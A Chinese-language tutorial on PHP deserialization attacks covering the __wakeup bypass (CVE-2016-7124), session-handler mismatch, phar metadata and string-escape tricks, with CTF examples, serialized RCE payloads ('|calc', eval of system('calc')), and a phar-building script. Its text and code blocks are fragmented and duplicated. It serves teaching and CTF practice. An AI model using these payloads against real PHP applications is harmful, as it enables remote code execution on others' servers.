作者:H3h3QAQ
serialize()
将变量或者对象转换成字符串的过程,用于存储或传递PHP的值的过程种,同时不丢失其类型和结构
常见的序列化字母表示及其含义:
序列化运行结果为:
反序列化运行结果
当PHP5<5.6.25、PHP7<7.0.1时,当成员属性数目大于实际数码时可绕过__wakeup方法(CVE-2016-7124)
1.PHP在反序列化时,底层代码时以;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的。
2.在反序列的时候php会根据s所指定的字符长度去读取后面的字符。如果指定的长度错误则反序列化就会失败。
3.对类中不存在的属性也会进行反序列化。
PHP session时一个特殊的变量,用于存储有关用户会话的信息,或更改用户会话的设置。session变量保存的信息是单一用户的,并且可供应用程序中的所有界面使用。它每个访问或者创建都有唯一的id(UID),并基于这个UID来储存变量。UID储存在cookie中,或者通过URL来进行传导。
当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果请求中不包括会话ID信息,PHP就会创建一个新的会话。会话开始之后,PHP就会将会话中的数据设置到$_SESSION
变量中。当PHP停止的时候,它会自动读取$_SESSION
中的内容,并将其进行序列化,然后发送会话保存管理器来进行保存。
默认情况下,PHP使用内置的文件会话保存管理器(files)来完成会话的保存。可以通过调用函数session_start()
来手动开始一个会话。如果配置项session.auto_start
设置为1,那么请求开始的时候,会话会自动开始
PHP脚本执行完毕之后,会话会自动关闭。同时,也可以通过调用函数session_write_close()
来手动关闭会话
PHP中的session中的内容默认是以文件的方式储存,储存方式是由配置项session.save_handler
来进行确定的,默认是以文件的方式储存。储存的文件是以sess_PHPSESSID
来进行命名的,文件的内容就是session值得序列化之后得内容。
session.serialize_handler
有如下三种取值:
每种存储引擎存储的内容格式:
phar反序列化就是可以在不使用php函数unserialize()的前提下,进行反序列化,从而引起php对象注入漏洞
phar文件的结构:
生成phar文件
主要是反序列化过程中某些参数可控,传入构造的字符串,从而控制内部的变量设置函数,执行想要的操作
漏洞出发点在使用phar://
协议读取文件的时候,文件内容黑背解析成为phar对象,然后phar对象内的Meta-data信息会被反序列化。当内核调用phar_parse_metadata()解析met-adata数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成漏洞
我们可以简单的分析一下代码
定义了一个class
类,类中有两个私有变量method
和args
有三个魔术方法:
分析代码段中host
的来源,想办法利用system()
构成RCE
我们观察代码可知:
GET
方法获取参数a,并且将其反序列化。
但是再执行反序列化的时候,会自动调用__wakeup()
魔术方法,把args
的值改为127.0.0.1
无论我们怎么构造payload,system()
执行的命令都是ping -c 2 127.0.0.1
这时我们可以利用到CVE-2016-7124
漏洞
适用版本:
PHP5<5.6.25、PHP7<7.0.1
当成员属性数目大于实际数码时可绕过__wakeup方法
就可以构造恶意payload来RCE
这里还有个小知识点|
管道符
所以我们可以构造序列化了
需要跳一下__wakeup()
把成员属性数目改为3
URL编码一下
成功RCE
当网站序列化存储session与反序列化读取session方式不同时,就可能导致session反序列化漏洞的产生。一般都是以php_serialize
序列化存储session,以PHP反序列化读取session,造成反序列化攻击
例子:
phpinfo:
s1.php:
s2.php:
这里需要说一下unserialize
的特性,在执行unserialize
的时候,如果字符串前面满足了可被序列化的规则,则后学的字符就会被忽略
exp:
执行结果:
上文可以给$_SESSION
赋值,若代码中不存在给$_SESSION
赋值可以利用uplode_process
机制,可以在$_SESSION
中创建一个键值对,其中的值可以控制
利用条件:
[SWPUCTF 2018]SimplePHP
存在任意文件读取
先来读取一下upload_file.php
再来读取一下function.php
再读取一下base.php
发现了提示
回头再来看class.php
在Test类中存在敏感操作
可以反向推poc链
通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get
,所以关键是触发__get
方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring
方法
查看一下怎么能够触发__toString()
方法
知要echo test
即可
整条链子为
exp如下
修改生成得phar文件后缀
上传成功后回到文件读取点来读phar文件
拿到base64加密得flag
在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。
例子:
该题源码如下
文件包含了flag
然后filter()
方法,会将序列化字符串中的x替换为yy,可能会导致字符串长度
我们试着传入u=admin
序列化为:
反序列化后
a[1]不等于"admin" 没有满足条件
我们构造一下数组
但是我们只有一个参数username
可控
可以利用字符串逃逸
复制自己想要构造的字符串
按照长度添加字符串,已知长度为19
则在前方填充19个x
测试一下
运行结果
可以看到已经逃逸出来了
这里利用了序列化的特性
反序列化看一下
可以观察整个数据的变化
成功逃逸。获得flag
也是拿一道题做例子
跟上一道题差不多
先随意构造一下争取的payload:
运行后拿到所需部分
需要我们传入的payload
已知两个可控值中间的部分不变(可能会多一位)
这里可以利用替换方法换成空值从而完成逃逸
执行结果
可以看到已经完成了逃逸
反序列化一下看看
a[2]=admin 拿到flag
目前先更新这么多
未来还会继续添加
a
-
array
-
-
-
-
-
>a:<n>:{<key
1
><value
1
>...<key n><value n>}
b
-
boolean
-
-
-
-
-
>b:<digit>
d
-
double
-
-
-
-
-
>d:<number>
i
-
integer
-
-
-
-
-
>i:<number>
o
-
common
r
-
reference
s
-
string
-
-
-
-
-
>s:<length>:
"<value>"
C
-
custom
object
O
-
class
-
-
-
-
-
>O:<length>:
"<class name>"
:<n>:{<field name
1
><field value1>...<field name n><field value n>}
N
-
null
R
-
pointer reference
U
-
unicode
string
a
-
array
-
-
-
-
-
>a:<n>:{<key
1
><value
1
>...<key n><value n>}
b
-
boolean
-
-
-
-
-
>b:<digit>
d
-
double
-
-
-
-
-
>d:<number>
i
-
integer
-
-
-
-
-
>i:<number>
o
-
common
r
-
reference
s
-
string
-
-
-
-
-
>s:<length>:
"<value>"
C
-
custom
object
O
-
class
-
-
-
-
-
>O:<length>:
"<class name>"
:<n>:{<field name
1
><field value1>...<field name n><field value n>}
N
-
null
R
-
pointer reference
U
-
unicode
string
<?php
class
h3{
public $v1;
public $v2
=
false;
public $v3
=
1
;
public $v4
=
2.1
;
public $v5
=
array();
public $v6
=
"h3h3QAQ"
;
private $v7
=
"H3h3QAQ"
;
protected $v8
=
"protected"
;
}
$s
=
serialize(new h3());
echo $s;
var_dump(unserialize($s));
<?php
class
h3{
public $v1;
public $v2
=
false;
public $v3
=
1
;
public $v4
=
2.1
;
public $v5
=
array();
public $v6
=
"h3h3QAQ"
;
private $v7
=
"H3h3QAQ"
;
protected $v8
=
"protected"
;
}
$s
=
serialize(new h3());
echo $s;
var_dump(unserialize($s));
O:
2
:
"h3"
:
8
:{s:
2
:
"v1"
;N;s:
2
:
"v2"
;b:
0
;s:
2
:
"v3"
;i:
1
;s:
2
:
"v4"
;d:
2.1
;s:
2
:
"v5"
;a:
0
:{}s:
2
:
"v6"
;s:
7
:
"h3h3QAQ"
;s:
6
:
" h3 v7"
;s:
7
:
"H3h3QAQ"
;s:
5
:
" * v8"
;s:
9
:
"protected"
;}
O:
2
:
"h3"
:
8
:{s:
2
:
"v1"
;N;s:
2
:
"v2"
;b:
0
;s:
2
:
"v3"
;i:
1
;s:
2
:
"v4"
;d:
2.1
;s:
2
:
"v5"
;a:
0
:{}s:
2
:
"v6"
;s:
7
:
"h3h3QAQ"
;s:
6
:
" h3 v7"
;s:
7
:
"H3h3QAQ"
;s:
5
:
" * v8"
;s:
9
:
"protected"
;}
object
(h3)
[
"v1"
]
=
>
NULL
[
"v2"
]
=
>
bool
(false)
[
"v3"
]
=
>
int
(
1
)
[
"v4"
]
=
>
float
(
2.1
)
[
"v5"
]
=
>
array(
0
) {
}
[
"v6"
]
=
>
string(
7
)
"h3h3QAQ"
[
"v7"
:
"h3"
:private]
=
>
string(
7
)
"H3h3QAQ"
[
"v8"
:protected]
=
>
string(
9
)
"protected"
}
object
(h3)
[
"v1"
]
=
>
NULL
[
"v2"
]
=
>
bool
(false)
[
"v3"
]
=
>
int
(
1
)
[
"v4"
]
=
>
float
(
2.1
)
[
"v5"
]
=
>
array(
0
) {
}
[
"v6"
]
=
>
string(
7
)
"h3h3QAQ"
[
"v7"
:
"h3"
:private]
=
>
string(
7
)
"H3h3QAQ"
[
"v8"
:protected]
=
>
string(
9
)
"protected"
}
__destruct():
/
/
析构函数当对象被销毁时会被自动调用
__wakeup():
/
/
unserialize()时会被自动调用
__invoke():
/
/
当尝试以调用函数的方法调用一个对象时,会被自动调用
__call():
/
/
在对象上下文中调用不可访问的方法时触发
__callStatci():
/
/
在静态上下文中调用不可访问的方法时触发
__get():
/
/
用于从不可访问的属性读取数据
__set():
/
/
用于将数据写入不可访问的属性
__isset():
/
/
在不可访问的属性上调用isset()或empty()触发
__unset():
/
/
在不可访问的属性上使用unset()时触发
__toString():
/
/
把类当作字符串使用时触发
__construct():
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep():
/
/
serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
__destruct():
/
/
析构函数当对象被销毁时会被自动调用
__wakeup():
/
/
unserialize()时会被自动调用
__invoke():
/
/
当尝试以调用函数的方法调用一个对象时,会被自动调用
__call():
/
/
在对象上下文中调用不可访问的方法时触发
__callStatci():
/
/
在静态上下文中调用不可访问的方法时触发
__get():
/
/
用于从不可访问的属性读取数据
__set():
/
/
用于将数据写入不可访问的属性
__isset():
/
/
在不可访问的属性上调用isset()或empty()触发
__unset():
/
/
在不可访问的属性上使用unset()时触发
__toString():
/
/
把类当作字符串使用时触发
__construct():
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep():
/
/
serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
<?php
error_reporting(
0
);
in_set(
'session.serialize_handeler'
,
'php_binary'
);
/
/
这里可以换不同的存储引擎
session_start();
$_SESSION[
'username'
]
=
$_GET[
'username'
];
?>
<?php
error_reporting(
0
);
in_set(
'session.serialize_handeler'
,
'php_binary'
);
/
/
这里可以换不同的存储引擎
session_start();
$_SESSION[
'username'
]
=
$_GET[
'username'
];
?>
-
stub:phar文件标识,前面内容不限,但是必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件
-
manifest:压缩文件的属性等信息,以序列化的形式储存自定义的meat
-
data,这里就是漏洞利用的关键点
-
contents:压缩文件的内容
-
signature:签名,在文件末尾
-
stub:phar文件标识,前面内容不限,但是必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件
-
manifest:压缩文件的属性等信息,以序列化的形式储存自定义的meat
-
data,这里就是漏洞利用的关键点
-
contents:压缩文件的内容
-
signature:签名,在文件末尾
一定要将php.ini中的phar.readonly选项设置为Off
一定要将php.ini中的phar.readonly选项设置为Off
<?php
class
h3{
}
@unlink
(
"phar.phar"
);
$phar
=
new Phar(
"phar.phar"
);
$phar
-
>startBuffering();
$phar
-
>setStub(
"GIF89a"
.
"<?php__HALT_COMPILER();?>"
);
/
/
设置stub,添加gif文件头
$o
=
new h3();
$phar
-
>setMetadata($o);
/
/
将自定义meat
-
data存入manifest
$phar
-
>addFromString(
"test.txt"
,
"test"
);
/
/
添加要压缩的文件
$phar
-
>stopBuffering();
?>
<?php
class
h3{
}
@unlink
(
"phar.phar"
);
$phar
=
new Phar(
"phar.phar"
);
$phar
-
>startBuffering();
$phar
-
>setStub(
"GIF89a"
.
"<?php__HALT_COMPILER();?>"
);
/
/
设置stub,添加gif文件头
$o
=
new h3();
$phar
-
>setMetadata($o);
/
/
将自定义meat
-
data存入manifest
$phar
-
>addFromString(
"test.txt"
,
"test"
);
/
/
添加要压缩的文件
$phar
-
>stopBuffering();
?>
<?php
highlight_string(file_get_contents(
'exam_day1.php'
));
class
home
{
private $method;
private $args;
function __construct($method, $args)
{
$this
-
>method
=
$method;
$this
-
>args
=
$args;
}
function __destruct()
{
/
/
TODO: Implement __destruct() method.
if
(in_array($this
-
>method, array(
"ping"
))) {
call_user_func_array(array($this, $this
-
>method), $this
-
>args);
}
}
function ping($host)
{
system(
"ping -C 2 $host"
);
}
function __wakeup()
{
$this
-
>args
=
array(
"127.0.0.1"
);
}
}
$a
=
@$_GET[
'a'
];
@unserialize
($a);
?>
<?php
highlight_string(file_get_contents(
'exam_day1.php'
));
class
home
{
private $method;
private $args;
function __construct($method, $args)
{
$this
-
>method
=
$method;
$this
-
>args
=
$args;
}
function __destruct()
{
/
/
TODO: Implement __destruct() method.
if
(in_array($this
-
>method, array(
"ping"
))) {
call_user_func_array(array($this, $this
-
>method), $this
-
>args);
}
}
function ping($host)
{
system(
"ping -C 2 $host"
);
}
function __wakeup()
{
$this
-
>args
=
array(
"127.0.0.1"
);
}
}
$a
=
@$_GET[
'a'
];
@unserialize
($a);
?>
function __construct($method, $args)
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
{
$this
-
>method
=
$method;
$this
-
>args
=
$args;
}
function __destruct()
/
/
析构函数当对象被销毁时会被自动调用
{
/
/
TODO: Implement __destruct() method.
if
(in_array($this
-
>method, array(
"ping"
))) {
call_user_func_array(array($this, $this
-
>method), $this
-
>args);
}
}
function __wakeup()
/
/
unserialize()时会被自动调用
{
$this
-
>args
=
array(
"127.0.0.1"
);
}
function __construct($method, $args)
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
{
$this
-
>method
=
$method;
$this
-
>args
=
$args;
}
function __destruct()
/
/
析构函数当对象被销毁时会被自动调用
{
/
/
TODO: Implement __destruct() method.
if
(in_array($this
-
>method, array(
"ping"
))) {
call_user_func_array(array($this, $this
-
>method), $this
-
>args);
}
}
function __wakeup()
/
/
unserialize()时会被自动调用
{
$this
-
>args
=
array(
"127.0.0.1"
);
}
<?php
highlight_string(file_get_contents(
'exam_day1.php'
));
class
home
{
private $method;
private $args;
function __construct($method, $args)
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
{
$this
-
>method
=
$method;
$this
-
>args
=
$args;
}
function __destruct()
/
/
析构函数当对象被销毁时会被自动调用
{
/
/
TODO: Implement __destruct() method.
if
(in_array($this
-
>method, array(
"ping"
))) {
call_user_func_array(array($this, $this
-
>method), $this
-
>args);
}
}
function ping($host)
{
system(
"ping -C 2 $host"
);
}
function __wakeup()
/
/
unserialize()时会被自动调用
{
$this
-
>args
=
array(
"127.0.0.1"
);
}
}
$a
=
@$_GET[
'a'
];
@unserialize
($a);
?>
<?php
highlight_string(file_get_contents(
'exam_day1.php'
));
class
home
{
private $method;
private $args;
function __construct($method, $args)
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
{
$this
-
>method
=
$method;
$this
-
>args
=
$args;
}
function __destruct()
/
/
析构函数当对象被销毁时会被自动调用
{
/
/
TODO: Implement __destruct() method.
if
(in_array($this
-
>method, array(
"ping"
))) {
call_user_func_array(array($this, $this
-
>method), $this
-
>args);
}
}
function ping($host)
{
system(
"ping -C 2 $host"
);
}
function __wakeup()
/
/
unserialize()时会被自动调用
{
$this
-
>args
=
array(
"127.0.0.1"
);
}
}
$a
=
@$_GET[
'a'
];
@unserialize
($a);
?>
把一个命令的标准输出传送到另一个命令的标准输入中,连续的|意味着第一个命令的输出为第二个命令的输入,第二个命令的输入为第一个命令的输出。
把一个命令的标准输出传送到另一个命令的标准输入中,连续的|意味着第一个命令的输出为第二个命令的输入,第二个命令的输入为第一个命令的输出。
<?php
class
home{
private $method
=
"ping"
;
private $args
=
array(
"|calc"
);
}
serialize(new home());
<?php
class
home{
private $method
=
"ping"
;
private $args
=
array(
"|calc"
);
}
serialize(new home());
O:
4
:
"home"
:
2
:{s:
12
:
" home method"
;s:
4
:
"ping"
;s:
10
:
" home args"
;a:
1
:{i:
0
;s:
7
:
"|calc"
;}}
O:
4
:
"home"
:
2
:{s:
12
:
" home method"
;s:
4
:
"ping"
;s:
10
:
" home args"
;a:
1
:{i:
0
;s:
7
:
"|calc"
;}}
O:
4
:
"home"
:
3
:{s:
12
:
" home method"
;s:
4
:
"ping"
;s:
10
:
" home args"
;a:
1
:{i:
0
;s:
7
:
"|calc"
;}}
O:
4
:
"home"
:
3
:{s:
12
:
" home method"
;s:
4
:
"ping"
;s:
10
:
" home args"
;a:
1
:{i:
0
;s:
7
:
"|calc"
;}}
O
%
3A4
%
3A
%
22home
%
22
%
3A2
%
3A
%
7Bs
%
3A12
%
3A
%
22
%
00home
%
00method
%
22
%
3Bs
%
3A4
%
3A
%
22ping
%
22
%
3Bs
%
3A10
%
3A
%
22
%
00home
%
00args
%
22
%
3Ba
%
3A1
%
3A
%
7Bi
%
3A0
%
3Bs
%
3A5
%
3A
%
22
%
7Ccalc
%
22
%
3B
%
7D
%
7D
O
%
3A4
%
3A
%
22home
%
22
%
3A2
%
3A
%
7Bs
%
3A12
%
3A
%
22
%
00home
%
00method
%
22
%
3Bs
%
3A4
%
3A
%
22ping
%
22
%
3Bs
%
3A10
%
3A
%
22
%
00home
%
00args
%
22
%
3Ba
%
3A1
%
3A
%
7Bi
%
3A0
%
3Bs
%
3A5
%
3A
%
22
%
7Ccalc
%
22
%
3B
%
7D
%
7D
<?php
highlight_file(__FILE__);
error_reporting(
0
);
ini_set(
"session.serialize_handler"
,
'php_serialize'
);
session_start();
$_SESSION[
"h3"
]
=
$_GET[
"u"
];
?>
<?php
highlight_file(__FILE__);
error_reporting(
0
);
ini_set(
"session.serialize_handler"
,
'php_serialize'
);
session_start();
$_SESSION[
"h3"
]
=
$_GET[
"u"
];
?>
<?php
highlight_file(__FILE__);
session_start();
class
session{
var $var;
function __destruct(){
eval
($this
-
>var);
}
}
?>
<?php
highlight_file(__FILE__);
session_start();
class
session{
var $var;
function __destruct(){
eval
($this
-
>var);
}
}
?>
a:
1
:{s:
2
:
"h3"
;s:
52
:
"|O:7:"
session
":1:{s:3:"
var
";s:15:"
system(
'calc'
);
";}"
;}
a:
1
:{s:
2
:
"h3"
;s:
52
:
"|O:7:"
session
":1:{s:3:"
var
";s:15:"
system(
'calc'
);
";}"
;}
<?php
class
session{
var $var
=
"system('calc');"
;
}
echo
"|"
.serialize(new session());
<?php
class
session{
var $var
=
"system('calc');"
;
}
echo
"|"
.serialize(new session());
<?php
$key
=
ini_get(
"session.upload_progress.prefix"
) . ini_get(
"session.upload_progress.name"
);
var_dump($_SESSION[$key]);
?>
<?php
$key
=
ini_get(
"session.upload_progress.prefix"
) . ini_get(
"session.upload_progress.name"
);
var_dump($_SESSION[$key]);
?>
-
phar文件能够上传到服务器
-
要有可用的魔术方法作为“跳板”
-
文件操作函数的参数可控,且:
/
\ 等特殊字符没有被过滤
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar:
/
/
伪协议解析phar文件时,都会将meta
-
data进行反序列化,受影响的函数如下
-
phar文件能够上传到服务器
-
要有可用的魔术方法作为“跳板”
-
文件操作函数的参数可控,且:
/
\ 等特殊字符没有被过滤
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar:
/
/
伪协议解析phar文件时,都会将meta
-
data进行反序列化,受影响的函数如下
<?php
include
'function.php'
;
upload_file();
?>
<?php
include
'function.php'
;
upload_file();
?>
<?php
/
/
show_source(__FILE__);
include
"base.php"
;
header(
"Content-type: text/html;charset=utf-8"
);
error_reporting(
0
);
function upload_file_do() {
global
$_FILES;
$filename
=
md5($_FILES[
"file"
][
"name"
].$_SERVER[
"REMOTE_ADDR"
]).
".jpg"
;
/
/
mkdir(
"upload"
,
0777
);
if
(file_exists(
"upload/"
. $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES[
"file"
][
"tmp_name"
],
"upload/"
. $filename);
echo
'<script type="text/javascript">alert("上传成功!");</script>'
;
}
function upload_file() {
global
$_FILES;
if
(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global
$_FILES;
$allowed_types
=
array(
"gif"
,
"jpeg"
,
"jpg"
,
"png"
);
$temp
=
explode(
"."
,$_FILES[
"file"
][
"name"
]);
$extension
=
end($temp);
if
(empty($extension)) {
/
/
echo
"<h4>请选择上传的文件:"
.
"<h4/>"
;
}
else
{
if
(in_array($extension,$allowed_types)) {
return
true;
}
else
{
echo
'<script type="text/javascript">alert("Invalid file!");</script>'
;
return
false;
}
}
}
?>
<?php
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)